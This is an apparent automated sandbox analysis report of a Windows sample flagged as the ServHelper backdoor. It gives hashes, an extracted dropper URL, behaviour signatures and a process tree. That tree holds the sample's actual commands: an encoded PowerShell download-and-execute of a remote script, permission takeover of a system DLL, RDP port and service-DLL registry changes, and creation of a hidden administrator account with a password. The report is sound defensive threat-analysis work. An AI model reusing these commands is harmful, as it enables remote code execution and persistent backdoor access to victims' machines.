Analysis

  • max time kernel
    149s
  • max time network
    154s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-en-20220112
  • submitted
    31-01-2022 23:41

General

  • Target

    a81d0099ecd54a32aa6b858544b82a809237cddc903b45b032618d93ef7f70f3.exe

  • Size

    4.5MB

  • MD5

    d9825d1424b9058fd87f5bb6e808346a

  • SHA1

    21980e67e2bba65b9753021e9091c2ab7c99f3e3

  • SHA256

    a81d0099ecd54a32aa6b858544b82a809237cddc903b45b032618d93ef7f70f3

  • SHA512

    7359f0bc4f06f48b8a60764ba142bf7650cee52cfa8499142686c846abc8366faf6f8746573ec370eef64e6c92b5999e8e22f9521c4da91626d7d783883a0cef

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

https://raw.githubusercontent.com/sqlitey/sqlite/master/speed.ps1

Signatures

  • ServHelper

    ServHelper is a backdoor written in Delphi and is associated with the hacking group TA505.

  • Grants admin privileges 1 TTPs

    Uses net.exe to modify the user's privileges.

  • Blocklisted process makes network request 10 IoCs
  • Modifies RDP port number used by Windows 1 TTPs
  • Possible privilege escalation attempt 8 IoCs
  • Sets DLL path for service in the registry 2 TTPs
  • Sets service image path in registry 2 TTPs
  • UPX packed file 2 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Loads dropped DLL 2 IoCs
  • Modifies file permissions 1 TTPs 8 IoCs
  • Drops file in System32 directory 1 IoCs
  • Drops file in Program Files directory 4 IoCs
  • Drops file in Windows directory 18 IoCs
  • Modifies data under HKEY_USERS 64 IoCs
  • Modifies registry key 1 TTPs 1 IoCs
  • Runs net.exe
  • Script User-Agent 5 IoCs

    Uses user-agent string associated with script host/environment.

  • Suspicious behavior: EnumeratesProcesses 13 IoCs
  • Suspicious behavior: LoadsDriver 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 18 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\a81d0099ecd54a32aa6b858544b82a809237cddc903b45b032618d93ef7f70f3.exe
    "C:\Users\Admin\AppData\Local\Temp\a81d0099ecd54a32aa6b858544b82a809237cddc903b45b032618d93ef7f70f3.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:3876
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" -ep bypass & 'C:\Users\Admin\AppData\Local\Temp\\ready.ps1'
      2⤵
      • Drops file in System32 directory
      • Drops file in Windows directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2460
      • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\j5bwqhne\j5bwqhne.cmdline"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:3108
        • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
          C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESE0E7.tmp" "c:\Users\Admin\AppData\Local\Temp\j5bwqhne\CSCDDA7E95467DE4E0E95C9B57681387A73.TMP"
          4⤵
            PID:2620
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1528
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2872
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:3740
        • C:\Windows\system32\takeown.exe
          "C:\Windows\system32\takeown.exe" /A /F rfxvmt.dll
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:1408
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /inheritance:d
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:1884
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /setowner "NT SERVICE\TrustedInstaller"
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          • Suspicious use of AdjustPrivilegeToken
          PID:3780
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT SERVICE\TrustedInstaller:F"
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:3540
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove "NT AUTHORITY\SYSTEM"
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:3360
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT AUTHORITY\SYSTEM:RX"
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:3428
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove BUILTIN\Administrators
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:3904
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant BUILTIN\Administrators:RX
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:3700
        • C:\Windows\system32\reg.exe
          "C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f
          3⤵
            PID:452
          • C:\Windows\system32\reg.exe
            "C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f
            3⤵
            • Modifies registry key
            PID:3584
          • C:\Windows\system32\reg.exe
            "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f
            3⤵
              PID:1360
            • C:\Windows\system32\net.exe
              "C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
              3⤵
              • Suspicious use of WriteProcessMemory
              PID:1288
              • C:\Windows\system32\net1.exe
                C:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
                4⤵
                  PID:2744
              • C:\Windows\system32\cmd.exe
                "C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr
                3⤵
                • Suspicious use of WriteProcessMemory
                PID:1420
                • C:\Windows\system32\cmd.exe
                  cmd /c net start rdpdr
                  4⤵
                  • Suspicious use of WriteProcessMemory
                  PID:64
                  • C:\Windows\system32\net.exe
                    net start rdpdr
                    5⤵
                    • Suspicious use of WriteProcessMemory
                    PID:1848
                    • C:\Windows\system32\net1.exe
                      C:\Windows\system32\net1 start rdpdr
                      6⤵
                        PID:1748
                • C:\Windows\system32\cmd.exe
                  "C:\Windows\system32\cmd.exe" /c cmd /c net start TermService
                  3⤵
                  • Suspicious use of WriteProcessMemory
                  PID:2784
                  • C:\Windows\system32\cmd.exe
                    cmd /c net start TermService
                    4⤵
                    • Suspicious use of WriteProcessMemory
                    PID:3824
                    • C:\Windows\system32\net.exe
                      net start TermService
                      5⤵
                      • Suspicious use of WriteProcessMemory
                      PID:3676
                      • C:\Windows\system32\net1.exe
                        C:\Windows\system32\net1 start TermService
                        6⤵
                          PID:2752
              • C:\Windows\system32\svchost.exe
                C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p
                1⤵
                  PID:3364
                • C:\Windows\System32\WaaSMedicAgent.exe
                  C:\Windows\System32\WaaSMedicAgent.exe ced56fdb4f6d69c3f8c1587287054166 lQrIatP0sESqbu2kA5qkfA.0.1.0.0.0
                  1⤵
                  • Modifies data under HKEY_USERS
                  PID:3372
                • C:\Windows\System32\cmd.exe
                  cmd /C net.exe user WgaUtilAcc 000000 /del
                  1⤵
                  • Suspicious use of WriteProcessMemory
                  PID:2420
                  • C:\Windows\system32\net.exe
                    net.exe user WgaUtilAcc 000000 /del
                    2⤵
                    • Suspicious use of WriteProcessMemory
                    PID:4008
                    • C:\Windows\system32\net1.exe
                      C:\Windows\system32\net1 user WgaUtilAcc 000000 /del
                      3⤵
                        PID:4060
                  • C:\Windows\System32\cmd.exe
                    cmd /C net.exe user WgaUtilAcc bSDBzf1f /add
                    1⤵
                    • Suspicious use of WriteProcessMemory
                    PID:3712
                    • C:\Windows\system32\net.exe
                      net.exe user WgaUtilAcc bSDBzf1f /add
                      2⤵
                      • Suspicious use of WriteProcessMemory
                      PID:1772
                      • C:\Windows\system32\net1.exe
                        C:\Windows\system32\net1 user WgaUtilAcc bSDBzf1f /add
                        3⤵
                          PID:1408
                    • C:\Windows\System32\cmd.exe
                      cmd /C net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
                      1⤵
                      • Suspicious use of WriteProcessMemory
                      PID:3980
                      • C:\Windows\system32\net.exe
                        net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
                        2⤵
                          PID:3852
                          • C:\Windows\system32\net1.exe
                            C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
                            3⤵
                              PID:3444
                        • C:\Windows\System32\cmd.exe
                          cmd /C net.exe LOCALGROUP "Remote Desktop Users" RIBCQUHQ$ /ADD
                          1⤵
                            PID:1924
                            • C:\Windows\system32\net.exe
                              net.exe LOCALGROUP "Remote Desktop Users" RIBCQUHQ$ /ADD
                              2⤵
                                PID:2008
                                • C:\Windows\system32\net1.exe
                                  C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" RIBCQUHQ$ /ADD
                                  3⤵
                                    PID:3060
                              • C:\Windows\System32\cmd.exe
                                cmd /C net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
                                1⤵
                                  PID:3276
                                  • C:\Windows\system32\net.exe
                                    net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
                                    2⤵
                                      PID:3212
                                      • C:\Windows\system32\net1.exe
                                        C:\Windows\system32\net1 LOCALGROUP "Administrators" WgaUtilAcc /ADD
                                        3⤵
                                          PID:1620
                                    • C:\Windows\System32\cmd.exe
                                      cmd /C net.exe user WgaUtilAcc bSDBzf1f
                                      1⤵
                                        PID:3808
                                        • C:\Windows\system32\net.exe
                                          net.exe user WgaUtilAcc bSDBzf1f
                                          2⤵
                                            PID:2220
                                            • C:\Windows\system32\net1.exe
                                              C:\Windows\system32\net1 user WgaUtilAcc bSDBzf1f
                                              3⤵
                                                PID:3912
                                          • C:\Windows\System32\cmd.exe
                                            cmd.exe /C wmic path win32_VideoController get name
                                            1⤵
                                              PID:1796
                                              • C:\Windows\System32\Wbem\WMIC.exe
                                                wmic path win32_VideoController get name
                                                2⤵
                                                • Suspicious use of AdjustPrivilegeToken
                                                PID:3640
                                            • C:\Windows\System32\cmd.exe
                                              cmd.exe /C wmic CPU get NAME
                                              1⤵
                                                PID:3104
                                                • C:\Windows\System32\Wbem\WMIC.exe
                                                  wmic CPU get NAME
                                                  2⤵
                                                  • Suspicious use of AdjustPrivilegeToken
                                                  PID:3740
                                              • C:\Windows\System32\cmd.exe
                                                cmd.exe /C cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                                1⤵
                                                  PID:2784
                                                  • C:\Windows\system32\cmd.exe
                                                    cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                                    2⤵
                                                      PID:820
                                                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                        powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                                        3⤵
                                                        • Blocklisted process makes network request
                                                        • Drops file in Program Files directory
                                                        • Drops file in Windows directory
                                                        • Modifies data under HKEY_USERS
                                                        • Suspicious behavior: EnumeratesProcesses
                                                        • Suspicious use of AdjustPrivilegeToken
                                                        PID:1464

                                                  Network

                                                  MITRE ATT&CK Enterprise v6

                                                  Replay Monitor

                                                  Loading Replay Monitor...

                                                  Downloads

                                                  • memory/1464-210-0x0000017A319A0000-0x0000017A31A70000-memory.dmp

                                                    Filesize

                                                    832KB

                                                  • memory/1464-211-0x0000017A319A0000-0x0000017A31A70000-memory.dmp

                                                    Filesize

                                                    832KB

                                                  • memory/1464-214-0x0000017A319A0000-0x0000017A31A70000-memory.dmp

                                                    Filesize

                                                    832KB

                                                  • memory/1528-159-0x0000018BEFA93000-0x0000018BEFA95000-memory.dmp

                                                    Filesize

                                                    8KB

                                                  • memory/1528-162-0x0000018BEFA96000-0x0000018BEFA98000-memory.dmp

                                                    Filesize

                                                    8KB

                                                  • memory/1528-158-0x0000018BEFA90000-0x0000018BEFA92000-memory.dmp

                                                    Filesize

                                                    8KB

                                                  • memory/2460-143-0x0000021E334A0000-0x0000021E4B650000-memory.dmp

                                                    Filesize

                                                    385.7MB

                                                  • memory/2460-153-0x0000021E4C000000-0x0000021E4C20A000-memory.dmp

                                                    Filesize

                                                    2.0MB

                                                  • memory/2460-152-0x0000021E4BC70000-0x0000021E4BDE6000-memory.dmp

                                                    Filesize

                                                    1.5MB

                                                  • memory/2460-178-0x0000021E334A0000-0x0000021E4B650000-memory.dmp

                                                    Filesize

                                                    385.7MB

                                                  • memory/2460-142-0x0000021E334A0000-0x0000021E4B650000-memory.dmp

                                                    Filesize

                                                    385.7MB

                                                  • memory/2460-140-0x0000021E334A0000-0x0000021E4B650000-memory.dmp

                                                    Filesize

                                                    385.7MB

                                                  • memory/2460-139-0x0000021E4B5D0000-0x0000021E4B5F2000-memory.dmp

                                                    Filesize

                                                    136KB

                                                  • memory/2872-176-0x00000200858E0000-0x000002009DA50000-memory.dmp

                                                    Filesize

                                                    385.4MB

                                                  • memory/3876-131-0x000002027A233000-0x000002027A235000-memory.dmp

                                                    Filesize

                                                    8KB

                                                  • memory/3876-133-0x000002027A236000-0x000002027A237000-memory.dmp

                                                    Filesize

                                                    4KB

                                                  • memory/3876-132-0x000002027A235000-0x000002027A236000-memory.dmp

                                                    Filesize

                                                    4KB

                                                  • memory/3876-130-0x000002027A230000-0x000002027A232000-memory.dmp

                                                    Filesize

                                                    8KB